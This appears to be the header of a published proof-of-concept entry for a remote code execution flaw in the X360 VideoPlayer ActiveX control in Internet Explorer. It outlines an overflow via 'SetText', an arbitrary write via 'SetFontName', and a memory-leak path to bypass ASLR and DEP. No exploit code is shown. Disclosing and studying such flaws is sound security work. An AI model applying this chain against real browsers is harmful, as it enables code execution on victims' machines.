X360 VideoPlayer ActiveX Control RCE Full ASLR & DEP Bypass

When passing an overlong string to the ActiveX object's 'SetText' method, a buffer overflow in the data section occurs. It allows overwriting a subsequent pointer that can be used in a controlled memcpy when dispatching the object's 'SetFontName' method. With this arbitrary write, array structures can be manipulated to gain access to complete process memory. Equipped with this capability, necessary information can be leaked and manipulated to execute arbitrary code remotely.

*) When passing an overlong string to the ActiveX object's "SetText" method, a
buffer overflow in the data section occurs. It allows overwriting a subsequent
pointer that can be used in a controlled memcpy when dispatching the object's
"SetFontName" method. With this arbitrary write, array structures can be
manipulated to gain access to complete process memory. Equipped with this
capability, necessary information can be leaked and manipulated to execute
arbitrary code remotely.
*) Comment in the alert messages to see some leaks ;)
*) This is PoC Code: If it does not work for you, clear IE's history and try
again. Tested against mshtml.dll and jscript9.dll version 10.0.9200.17183
